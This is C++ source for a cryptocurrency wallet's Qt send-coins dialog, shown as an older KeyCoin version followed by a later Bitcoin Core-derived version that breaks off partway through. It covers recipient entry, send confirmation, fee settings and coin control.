#include "sendcoinsdialog.h" #include "ui_sendcoinsdialog.h" #include "init.h" #include "walletmodel.h" #include "addresstablemodel.h" #include "addressbookpage.h" #include "bitcoinunits.h" #include "addressbookpage.h" #include "optionsmodel.h" #include "sendcoinsentry.h" #include "guiutil.h" #include "askpassphrasedialog.h" #include "coincontrol.h" #include "coincontroldialog.h" #include <QMessageBox> #include <QLocale> #include <QTextDocument> #include <QScrollBar> #include <QClipboard> SendCoinsDialog::SendCoinsDialog(QWidget *parent) : QDialog(parent), ui(new Ui::SendCoinsDialog), model(0) { ui->setupUi(this); #ifdef Q_OS_MAC // Icons on push buttons are very uncommon on Mac ui->addButton->setIcon(QIcon()); ui->clearButton->setIcon(QIcon()); ui->sendButton->setIcon(QIcon()); #endif #if QT_VERSION >= 0x040700 /* Do not move this to the XML file, Qt before 4.7 will choke on it */ ui->lineEditCoinControlChange->setPlaceholderText(tr("Enter a KeyCoin address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)")); #endif addEntry(); connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry())); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // Coin Control ui->lineEditCoinControlChange->setFont(GUIUtil::bitcoinAddressFont()); connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked())); connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int))); connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString &)), this, SLOT(coinControlChangeEdited(const QString &))); // Coin Control: clipboard actions QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this); QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this); QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this); QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this); QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this); QAction *clipboardPriorityAction = new QAction(tr("Copy priority"), this); QAction *clipboardLowOutputAction = new QAction(tr("Copy low output"), this); QAction *clipboardChangeAction = new QAction(tr("Copy change"), this); connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity())); connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount())); connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee())); connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee())); connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes())); connect(clipboardPriorityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardPriority())); connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput())); connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange())); ui->labelCoinControlQuantity->addAction(clipboardQuantityAction); ui->labelCoinControlAmount->addAction(clipboardAmountAction); ui->labelCoinControlFee->addAction(clipboardFeeAction); ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction); ui->labelCoinControlBytes->addAction(clipboardBytesAction); ui->labelCoinControlPriority->addAction(clipboardPriorityAction); ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction); ui->labelCoinControlChange->addAction(clipboardChangeAction); fNewRecipientAllowed = true; } void SendCoinsDialog::setModel(WalletModel *model) { this->model = model; for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { entry->setModel(model); } } if(model && model->getOptionsModel()) { setBalance(model->getBalance(), model->getStake(), model->getUnconfirmedBalance(), model->getImmatureBalance()); connect(model, SIGNAL(balanceChanged(qint64, qint64, qint64, qint64)), this, SLOT(setBalance(qint64, qint64, qint64, qint64))); connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); // Coin Control connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool))); connect(model->getOptionsModel(), SIGNAL(transactionFeeChanged(qint64)), this, SLOT(coinControlUpdateLabels())); ui->frameCoinControl->setVisible(model->getOptionsModel()->getCoinControlFeatures()); coinControlUpdateLabels(); } } SendCoinsDialog::~SendCoinsDialog() { delete ui; } void SendCoinsDialog::on_sendButton_clicked() { QList<SendCoinsRecipient> recipients; bool valid = true; if(!model) return; for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { if(entry->validate()) { recipients.append(entry->getValue()); } else { valid = false; } } } if(!valid || recipients.isEmpty()) { return; } // Format confirmation message QStringList formatted; foreach(const SendCoinsRecipient &rcp, recipients) { formatted.append(tr("<b>%1</b> to %2 (%3)").arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, rcp.amount), Qt::escape(rcp.label), rcp.address)); } fNewRecipientAllowed = false; QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm send coins"), tr("Are you sure you want to send %1?").arg(formatted.join(tr(" and "))), QMessageBox::Yes|QMessageBox::Cancel, QMessageBox::Cancel); if(retval != QMessageBox::Yes) { fNewRecipientAllowed = true; return; } WalletModel::UnlockContext ctx(model->requestUnlock()); if(!ctx.isValid()) { // Unlock wallet was cancelled fNewRecipientAllowed = true; return; } WalletModel::SendCoinsReturn sendstatus; if (!model->getOptionsModel() || !model->getOptionsModel()->getCoinControlFeatures()) sendstatus = model->sendCoins(recipients); else sendstatus = model->sendCoins(recipients, CoinControlDialog::coinControl); switch(sendstatus.status) { case WalletModel::InvalidAddress: QMessageBox::warning(this, tr("Send Coins"), tr("The recipient address is not valid, please recheck."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::InvalidAmount: QMessageBox::warning(this, tr("Send Coins"), tr("The amount to pay must be larger than 0."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::AmountExceedsBalance: QMessageBox::warning(this, tr("Send Coins"), tr("The amount exceeds your balance."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::AmountWithFeeExceedsBalance: QMessageBox::warning(this, tr("Send Coins"), tr("The total exceeds your balance when the %1 transaction fee is included."). arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, sendstatus.fee)), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::DuplicateAddress: QMessageBox::warning(this, tr("Send Coins"), tr("Duplicate address found, can only send to each address once per send operation."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::TransactionCreationFailed: QMessageBox::warning(this, tr("Send Coins"), tr("Error: Transaction creation failed."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::TransactionCommitFailed: QMessageBox::warning(this, tr("Send Coins"), tr("Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."), QMessageBox::Ok, QMessageBox::Ok); break; case WalletModel::Aborted: // User aborted, nothing to do break; case WalletModel::OK: accept(); CoinControlDialog::coinControl->UnSelectAll(); coinControlUpdateLabels(); break; } fNewRecipientAllowed = true; } void SendCoinsDialog::clear() { // Remove entries until only one left while(ui->entries->count()) { delete ui->entries->takeAt(0)->widget(); } addEntry(); updateRemoveEnabled(); ui->sendButton->setDefault(true); } void SendCoinsDialog::reject() { clear(); } void SendCoinsDialog::accept() { clear(); } SendCoinsEntry *SendCoinsDialog::addEntry() { SendCoinsEntry *entry = new SendCoinsEntry(this); entry->setModel(model); ui->entries->addWidget(entry); connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*))); connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels())); updateRemoveEnabled(); // Focus the field, so that entry can start immediately entry->clear(); entry->setFocus(); ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint()); QCoreApplication::instance()->processEvents(); QScrollBar* bar = ui->scrollArea->verticalScrollBar(); if(bar) bar->setSliderPosition(bar->maximum()); return entry; } void SendCoinsDialog::updateRemoveEnabled() { // Remove buttons are enabled as soon as there is more than one send-entry bool enabled = (ui->entries->count() > 1); for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { entry->setRemoveEnabled(enabled); } } setupTabChain(0); coinControlUpdateLabels(); } void SendCoinsDialog::removeEntry(SendCoinsEntry* entry) { delete entry; updateRemoveEnabled(); } QWidget *SendCoinsDialog::setupTabChain(QWidget *prev) { for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { prev = entry->setupTabChain(prev); } } QWidget::setTabOrder(prev, ui->addButton); QWidget::setTabOrder(ui->addButton, ui->sendButton); return ui->sendButton; } void SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv) { if(!fNewRecipientAllowed) return; SendCoinsEntry *entry = 0; // Replace the first entry if it is still unused if(ui->entries->count() == 1) { SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if(first->isClear()) { entry = first; } } if(!entry) { entry = addEntry(); } entry->setValue(rv); } bool SendCoinsDialog::handleURI(const QString &uri) { SendCoinsRecipient rv; // URI has to be valid if (GUIUtil::parseBitcoinURI(uri, &rv)) { CBitcoinAddress address(rv.address.toStdString()); if (!address.IsValid()) return false; pasteEntry(rv); return true; } return false; } void SendCoinsDialog::setBalance(qint64 balance, qint64 stake, qint64 unconfirmedBalance, qint64 immatureBalance) { Q_UNUSED(stake); Q_UNUSED(unconfirmedBalance); Q_UNUSED(immatureBalance); if(!model || !model->getOptionsModel()) return; int unit = model->getOptionsModel()->getDisplayUnit(); ui->labelBalance->setText(BitcoinUnits::formatWithUnit(unit, balance)); } void SendCoinsDialog::updateDisplayUnit() { if(model && model->getOptionsModel()) { // Update labelBalance with the current balance and the current unit ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), model->getBalance())); } } // Coin Control: copy label "Quantity" to clipboard void SendCoinsDialog::coinControlClipboardQuantity() { QApplication::clipboard()->setText(ui->labelCoinControlQuantity->text()); } // Coin Control: copy label "Amount" to clipboard void SendCoinsDialog::coinControlClipboardAmount() { QApplication::clipboard()->setText(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" "))); } // Coin Control: copy label "Fee" to clipboard void SendCoinsDialog::coinControlClipboardFee() { QApplication::clipboard()->setText(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" "))); } // Coin Control: copy label "After fee" to clipboard void SendCoinsDialog::coinControlClipboardAfterFee() { QApplication::clipboard()->setText(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" "))); } // Coin Control: copy label "Bytes" to clipboard void SendCoinsDialog::coinControlClipboardBytes() { QApplication::clipboard()->setText(ui->labelCoinControlBytes->text()); } // Coin Control: copy label "Priority" to clipboard void SendCoinsDialog::coinControlClipboardPriority() { QApplication::clipboard()->setText(ui->labelCoinControlPriority->text()); } // Coin Control: copy label "Low output" to clipboard void SendCoinsDialog::coinControlClipboardLowOutput() { QApplication::clipboard()->setText(ui->labelCoinControlLowOutput->text()); } // Coin Control: copy label "Change" to clipboard void SendCoinsDialog::coinControlClipboardChange() { QApplication::clipboard()->setText(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" "))); } // Coin Control: settings menu - coin control enabled/disabled by user void SendCoinsDialog::coinControlFeatureChanged(bool checked) { ui->frameCoinControl->setVisible(checked); if (!checked && model) // coin control features disabled CoinControlDialog::coinControl->SetNull(); } // Coin Control: button inputs -> show actual coin control dialog void SendCoinsDialog::coinControlButtonClicked() { CoinControlDialog dlg; dlg.setModel(model); dlg.exec(); coinControlUpdateLabels(); } // Coin Control: checkbox custom change address void SendCoinsDialog::coinControlChangeChecked(int state) { if (model) { if (state == Qt::Checked) CoinControlDialog::coinControl->destChange = CBitcoinAddress(ui->lineEditCoinControlChange->text().toStdString()).Get(); else CoinControlDialog::coinControl->destChange = CNoDestination(); } ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked)); ui->labelCoinControlChangeLabel->setEnabled((state == Qt::Checked)); } // Coin Control: custom change address changed void SendCoinsDialog::coinControlChangeEdited(const QString & text) { if (model) { CoinControlDialog::coinControl->destChange = CBitcoinAddress(text.toStdString()).Get(); // label for the change address ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}"); if (text.isEmpty()) ui->labelCoinControlChangeLabel->setText(""); else if (!CBitcoinAddress(text.toStdString()).IsValid()) { ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}"); ui->labelCoinControlChangeLabel->setText(tr("WARNING: Invalid KeyCoin address")); } else { QString associatedLabel = model->getAddressTableModel()->labelForAddress(text); if (!associatedLabel.isEmpty()) ui->labelCoinControlChangeLabel->setText(associatedLabel); else { CPubKey pubkey; CKeyID keyid; CBitcoinAddress(text.toStdString()).GetKeyID(keyid); if (model->getPubKey(keyid, pubkey)) ui->labelCoinControlChangeLabel->setText(tr("(no label)")); else { ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}"); ui->labelCoinControlChangeLabel->setText(tr("WARNING: unknown change address")); } } } } } // Coin Control: update labels void SendCoinsDialog::coinControlUpdateLabels() { if (!model || !model->getOptionsModel() || !model->getOptionsModel()->getCoinControlFeatures()) return; // set pay amounts CoinControlDialog::payAmounts.clear(); for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) CoinControlDialog::payAmounts.append(entry->getValue().amount); } if (CoinControlDialog::coinControl->HasSelected()) { // actual coin control calculation CoinControlDialog::updateLabels(model, this); // show coin control stats ui->labelCoinControlAutomaticallySelected->hide(); ui->widgetCoinControl->show(); } else { // hide coin control stats ui->labelCoinControlAutomaticallySelected->show(); ui->widgetCoinControl->hide(); ui->labelCoinControlInsuffFunds->hide(); } }
// Copyright (c) 2011-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "sendcoinsdialog.h" #include "ui_sendcoinsdialog.h" #include "addresstablemodel.h" #include "bitcoinunits.h" #include "clientmodel.h" #include "coincontroldialog.h" #include "guiutil.h" #include "optionsmodel.h" #include "platformstyle.h" #include "sendcoinsentry.h" #include "walletmodel.h" #include "base58.h" #include "chainparams.h" #include "wallet/coincontrol.h" #include "validation.h" // mempool and minRelayTxFee #include "ui_interface.h" #include "txmempool.h" #include "policy/fees.h" #include "wallet/wallet.h" #include <QFontMetrics> #include <QMessageBox> #include <QScrollBar> #include <QSettings> #include <QTextDocument> #include <QTimer> static const std::array<int, 9> confTargets = { {2, 4, 6, 12, 24, 48, 144, 504, 1008} }; int getConfTargetForIndex(int index) { if (index+1 > static_cast<int>(confTargets.size())) { return confTargets.back(); } if (index < 0) { return confTargets[0]; } return confTargets[index]; } int getIndexForConfTarget(int target) { for (unsigned int i = 0; i < confTargets.size(); i++) { if (confTargets[i] >= target) { return i; } } return confTargets.size() - 1; } SendCoinsDialog::SendCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) : QDialog(parent), ui(new Ui::SendCoinsDialog), clientModel(0), model(0), fNewRecipientAllowed(true), fFeeMinimized(true), platformStyle(_platformStyle) { ui->setupUi(this); if (!_platformStyle->getImagesOnButtons()) { ui->addButton->setIcon(QIcon()); ui->clearButton->setIcon(QIcon()); ui->sendButton->setIcon(QIcon()); } else { ui->addButton->setIcon(_platformStyle->SingleColorIcon(":/icons/add")); ui->clearButton->setIcon(_platformStyle->SingleColorIcon(":/icons/remove")); ui->sendButton->setIcon(_platformStyle->SingleColorIcon(":/icons/send")); } GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this); addEntry(); connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry())); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // Coin Control connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked())); connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int))); connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString &)), this, SLOT(coinControlChangeEdited(const QString &))); // Coin Control: clipboard actions QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this); QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this); QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this); QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this); QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this); QAction *clipboardLowOutputAction = new QAction(tr("Copy dust"), this); QAction *clipboardChangeAction = new QAction(tr("Copy change"), this); connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity())); connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount())); connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee())); connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee())); connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes())); connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput())); connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange())); ui->labelCoinControlQuantity->addAction(clipboardQuantityAction); ui->labelCoinControlAmount->addAction(clipboardAmountAction); ui->labelCoinControlFee->addAction(clipboardFeeAction); ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction); ui->labelCoinControlBytes->addAction(clipboardBytesAction); ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction); ui->labelCoinControlChange->addAction(clipboardChangeAction); // init transaction fee section QSettings settings; if (!settings.contains("fFeeSectionMinimized")) settings.setValue("fFeeSectionMinimized", true); if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility settings.setValue("nFeeRadio", 1); // custom if (!settings.contains("nFeeRadio")) settings.setValue("nFeeRadio", 0); // recommended if (!settings.contains("nSmartFeeSliderPosition")) settings.setValue("nSmartFeeSliderPosition", 0); if (!settings.contains("nTransactionFee")) settings.setValue("nTransactionFee", (qint64)DEFAULT_TRANSACTION_FEE); if (!settings.contains("fPayOnlyMinFee")) settings.setValue("fPayOnlyMinFee", false); ui->groupFee->setId(ui->radioSmartFee, 0); ui->groupFee->setId(ui->radioCustomFee, 1); ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true); ui->customFee->setValue(settings.value("nTransactionFee").toLongLong()); ui->checkBoxMinimumFee->setChecked(settings.value("fPayOnlyMinFee").toBool()); minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool()); } void SendCoinsDialog::setClientModel(ClientModel *_clientModel) { this->clientModel = _clientModel; if (_clientModel) { connect(_clientModel, SIGNAL(numBlocksChanged(int,QDateTime,double,bool)), this, SLOT(updateSmartFeeLabel())); } } void SendCoinsDialog::setModel(WalletModel *_model) { this->model = _model; if(_model && _model->getOptionsModel()) { for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { entry->setModel(_model); } } setBalance(_model->getBalance(), _model->getUnconfirmedBalance(), _model->getImmatureBalance(), model->getStake(), _model->getWatchBalance(), _model->getWatchUnconfirmedBalance(), _model->getWatchImmatureBalance()); connect(_model, SIGNAL(balanceChanged(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)), this, SLOT(setBalance(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount,CAmount))); connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); updateDisplayUnit(); // Coin Control connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(_model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool))); ui->frameCoinControl->setVisible(_model->getOptionsModel()->getCoinControlFeatures()); coinControlUpdateLabels(); // fee section for (const int &n : confTargets) { ui->confTargetSelector->addItem(tr("%1 (%2 blocks)").arg(GUIUtil::formatNiceTimeOffset(n*Params().GetConsensus().nPowTargetSpacing)).arg(n)); } connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(updateSmartFeeLabel())); connect(ui->confTargetSelector, SIGNAL(currentIndexChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateFeeSectionControls())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(coinControlUpdateLabels())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(setMinimumFee())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateFeeSectionControls())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(updateSmartFeeLabel())); connect(ui->optInRBF, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); ui->customFee->setSingleStep(CWallet::GetRequiredFee(1000)); updateFeeSectionControls(); updateMinFeeLabel(); updateSmartFeeLabel(); // set default rbf checkbox state ui->optInRBF->setCheckState(model->getDefaultWalletRbf() ? Qt::Checked : Qt::Unchecked); // set the smartfee-sliders default value (wallets default conf.target or last stored value) QSettings settings; if (settings.value("nSmartFeeSliderPosition").toInt() != 0) { // migrate nSmartFeeSliderPosition to nConfTarget // nConfTarget is available since 0.15 (replaced nSmartFeeSliderPosition) int nConfirmTarget = 25 - settings.value("nSmartFeeSliderPosition").toInt(); // 25 == old slider range settings.setValue("nConfTarget", nConfirmTarget); settings.remove("nSmartFeeSliderPosition"); } if (settings.value("nConfTarget").toInt() == 0) ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(model->getDefaultConfirmTarget())); else ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(settings.value("nConfTarget").toInt())); } } SendCoinsDialog::~SendCoinsDialog() { QSettings settings; settings.setValue("fFeeSectionMinimized", fFeeMinimized); settings.setValue("nFeeRadio", ui->groupFee->checkedId()); settings.setValue("nConfTarget", getConfTargetForIndex(ui->confTargetSelector->currentIndex())); settings.setValue("nTransactionFee", (qint64)ui->customFee->value()); settings.setValue("fPayOnlyMinFee", ui->checkBoxMinimumFee->isChecked()); delete ui; } void SendCoinsDialog::on_sendButton_clicked() { if(!model || !model->getOptionsModel()) return; QList<SendCoinsRecipient> recipients; bool valid = true; for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { if(entry->validate()) { recipients.append(entry->getValue()); } else { valid = false; } } } if(!valid || recipients.isEmpty()) { return; } fNewRecipientAllowed = false; WalletModel::UnlockContext ctx(model->requestUnlock()); if(!ctx.isValid()) { // Unlock wallet was cancelled fNewRecipientAllowed = true; return; } // prepare transaction for getting txFee earlier WalletModelTransaction currentTransaction(recipients); WalletModel::SendCoinsReturn prepareStatus; // Always use a CCoinControl instance, use the CoinControlDialog instance if CoinControl has been enabled CCoinControl ctrl; if (model->getOptionsModel()->getCoinControlFeatures()) ctrl = *CoinControlDialog::coinControl; updateCoinControlState(ctrl); prepareStatus = model->prepareTransaction(currentTransaction, ctrl); // process prepareStatus and on error generate message shown to user processSendCoinsReturn(prepareStatus, BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), currentTransaction.getTransactionFee())); if(prepareStatus.status != WalletModel::OK) { fNewRecipientAllowed = true; return; } CAmount txFee = currentTransaction.getTransactionFee(); // Format confirmation message QStringList formatted; for (const SendCoinsRecipient &rcp : currentTransaction.getRecipients()) { // generate bold amount string QString amount = "<b>" + BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount); amount.append("</b>"); // generate monospace address string QString address = "<span style='font-family: monospace;'>" + rcp.address; address.append("</span>"); QString recipientElement; if (!rcp.paymentRequest.IsInitialized()) // normal payment { if(rcp.label.length() > 0) // label with address { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.label)); recipientElement.append(QString(" (%1)").arg(address)); } else // just address { recipientElement = tr("%1 to %2").arg(amount, address); } } else if(!rcp.authenticatedMerchant.isEmpty()) // authenticated payment request { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.authenticatedMerchant)); } else // unauthenticated payment request { recipientElement = tr("%1 to %2").arg(amount, address); } formatted.append(recipientElement); } QString questionString = tr("Are you sure you want to send?"); questionString.append("<br /><br />%1"); if(txFee > 0) { // append fee string if a fee is required questionString.append("<hr /><span style='color:#aa0000;'>"); questionString.append(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee)); questionString.append("</span> "); questionString.append(tr("added as transaction fee")); // append transaction size questionString.append(" (" + QString::number((double)currentTransaction.getTransactionSize() / 1000) + " kB)"); } // add total amount in all subdivision units questionString.append("<hr />"); CAmount totalAmount = currentTransaction.getTotalTransactionAmount() + txFee; QStringList alternativeUnits; for (BitcoinUnits::Unit u : BitcoinUnits::availableUnits()) { if(u != model->getOptionsModel()->getDisplayUnit()) alternativeUnits.append(BitcoinUnits::formatHtmlWithUnit(u, totalAmount)); } questionString.append(tr("Total Amount %1") .arg(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount))); questionString.append(QString("<span style='font-size:10pt;font-weight:normal;'><br />(=%2)</span>") .arg(alternativeUnits.join(" " + tr("or") + "<br />"))); if (ui->optInRBF->isChecked()) { questionString.append("<hr /><span>"); questionString.append(tr("This transaction signals replaceability (optin-RBF).")); questionString.append("</span>"); } SendConfirmationDialog confirmationDialog(tr("Confirm send coins"), questionString.arg(formatted.join("<br />")), SEND_CONFIRM_DELAY, this); confirmationDialog.exec(); QMessageBox::StandardButton retval = (QMessageBox::StandardButton)confirmationDialog.result(); if(retval != QMessageBox::Yes) { fNewRecipientAllowed = true; return; } // now send the prepared transaction WalletModel::SendCoinsReturn sendStatus = model->sendCoins(currentTransaction); // process sendStatus and on error generate message shown to user processSendCoinsReturn(sendStatus); if (sendStatus.status == WalletModel::OK) { accept(); CoinControlDialog::coinControl->UnSelectAll(); coinControlUpdateLabels(); } fNewRecipientAllowed = true; } void SendCoinsDialog::clear() { // Remove entries until only one left while(ui->entries->count()) { ui->entries->takeAt(0)->widget()->deleteLater(); } addEntry(); updateTabsAndLabels(); } void SendCoinsDialog::reject() { clear(); } void SendCoinsDialog::accept() { clear(); } SendCoinsEntry *SendCoinsDialog::addEntry() { SendCoinsEntry *entry = new SendCoinsEntry(platformStyle, this); entry->setModel(model); ui->entries->addWidget(entry); connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*))); connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels())); connect(entry, SIGNAL(subtractFeeFromAmountChanged()), this, SLOT(coinControlUpdateLabels())); // Focus the field, so that entry can start immediately entry->clear(); entry->setFocus(); ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint()); qApp->processEvents(); QScrollBar* bar = ui->scrollArea->verticalScrollBar(); if(bar) bar->setSliderPosition(bar->maximum()); updateTabsAndLabels(); return entry; } void SendCoinsDialog::updateTabsAndLabels() { setupTabChain(0); coinControlUpdateLabels(); } void SendCoinsDialog::removeEntry(SendCoinsEntry* entry) { entry->hide(); // If the last entry is about to be removed add an empty one if (ui->entries->count() == 1) addEntry(); entry->deleteLater(); updateTabsAndLabels(); } QWidget *SendCoinsDialog::setupTabChain(QWidget *prev) { for(int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if(entry) { prev = entry->setupTabChain(prev); } } QWidget::setTabOrder(prev, ui->sendButton); QWidget::setTabOrder(ui->sendButton, ui->clearButton); QWidget::setTabOrder(ui->clearButton, ui->addButton); return ui->addButton; } void SendCoinsDialog::setAddress(const QString &address) { SendCoinsEntry *entry = 0; // Replace the first entry if it is still unused if(ui->entries->count() == 1) { SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if(first->isClear()) { entry = first; } } if(!entry) { entry = addEntry(); } entry->setAddress(address); } void SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv) { if(!fNewRecipientAllowed) return; SendCoinsEntry *entry = 0; // Replace the first entry if it is still unused if(ui->entries->count() == 1) { SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if(first->isClear()) { entry = first; } } if(!entry) { entry = addEntry(); } entry->setValue(rv); updateTabsAndLabels(); } bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient &rv) { // Just paste the entry, all pre-checks // are done in paymentserver.cpp. pasteEntry(rv); return true; } void SendCoinsDialog::setBalance(const CAmount& balance, const CAmount& 